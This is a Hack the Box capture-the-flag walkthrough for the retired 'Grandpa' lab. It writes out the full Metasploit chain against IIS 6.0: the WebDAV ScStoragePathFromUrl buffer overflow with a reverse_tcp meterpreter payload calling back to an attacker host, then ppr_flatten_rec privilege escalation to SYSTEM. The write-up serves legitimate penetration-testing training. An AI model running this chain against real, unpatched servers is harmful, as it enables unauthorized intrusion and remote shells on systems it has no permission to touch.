Hack the Box Challenge: Grandpa Walkthrough
Today we are going to solve another CTF challenge “Grandpa” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Grandpa Lab.
Level: Beginners
Task: find user.txt and root.txt file in the victim’s machine.
Let’s begin the Game!!
Since these labs are online available therefore they have static IP and IP of Grandpa is 10.10.10.14 so let’s begin with nmap port enumeration.
nmap -p- -sV 10.10.10.14
From nmap result I found the following information.
Open port: 80 for HTTP
Service version: Microsoft IIS httpd 6.0
OS: Windows machine.
Then I used searchsploit for iis 6.0 and found a Remote Buffer overflow vulnerability in Microsoft IIS httpd 6.0, you can check this exploit in google also.
Then I run the msfconsole command in the terminal and load Metasploit framework for using Microsoft IIS WebDAV ScStoragePathFromUrl Overflow module for exploiting target machine.
use exploit/windows/iis/iis_webdav_scstoragepathfromurl msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set rhost 10.10.10.14 msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set payload windows/meterpreter/reverse_tcp msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lhost 10.10.14.3 msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lport 4444 msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) run
Terrific!! I have got unauthorized access of victims command shell through session 1 as shown in below image.
Then I run command getuid for identifying user ID and current process but it failed due to limited shell access we have in session 1 and now we need to privilege escalation.
For that background your current meterpreter shell and go for post exploitation.
Then I run a post-exploit “Multi Recon Local Exploit Suggester” that identifies local meterpreter exploits for further exploitation. The tool recommends exploits based on the architecture and platform of the user’s open shell, as well as the available exploits in meterpreter.
use post/multi/recon/local_exploit_suggester msf post(multi/recon/local_exploit_suggester) > set session 1 msf post(multi/recon/local_exploit_suggester) > run
Wonderful!! Exploit Suggester truly proof itself by suggesting another exploit name to which target is vulnerable. So now we will go with the last option as highlighted in the image.
At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.
use exploit/windows/local/ppr_flatten_rec msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.3 msf exploit(windows/local/ppr_flatten_rec) > set lport 4455 msf exploit(windows/local/ppr_flatten_rec) > run
Nice!! It works and we got meterpreter session 2 as system user and you can check in below image.
meterpreter > getuid
Now let’s complete this task by searching for the user.txt and root.txt flag which someone has hidden somewhere inside a directory.
meterpreter > shell
Inside C:\Document and Setting\Harry\Desktop I found the user.txt file and used the type “filename” command for reading this file.
type user.txt
Great!! We got our 1st flag successfully
Inside C:\Document and Setting\Administrtator\Desktop I found the root.txt file and used the type “filename” command for reading this file.
type root.txt
Great!! We got our 2nd flag successfully
Breaching this lab was an interesting and enjoyable moment for me. It will take less time if you are aware of proper Metasploit exploits. Therefore I will give all Glory to Metasploit for making this challenge easy for me.
Happy Hacking!!
Thank you for giving your precious time to read this walkthrough. If you want to read more HTB Write-ups. Follow this Link. Happy Hacking!
Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here
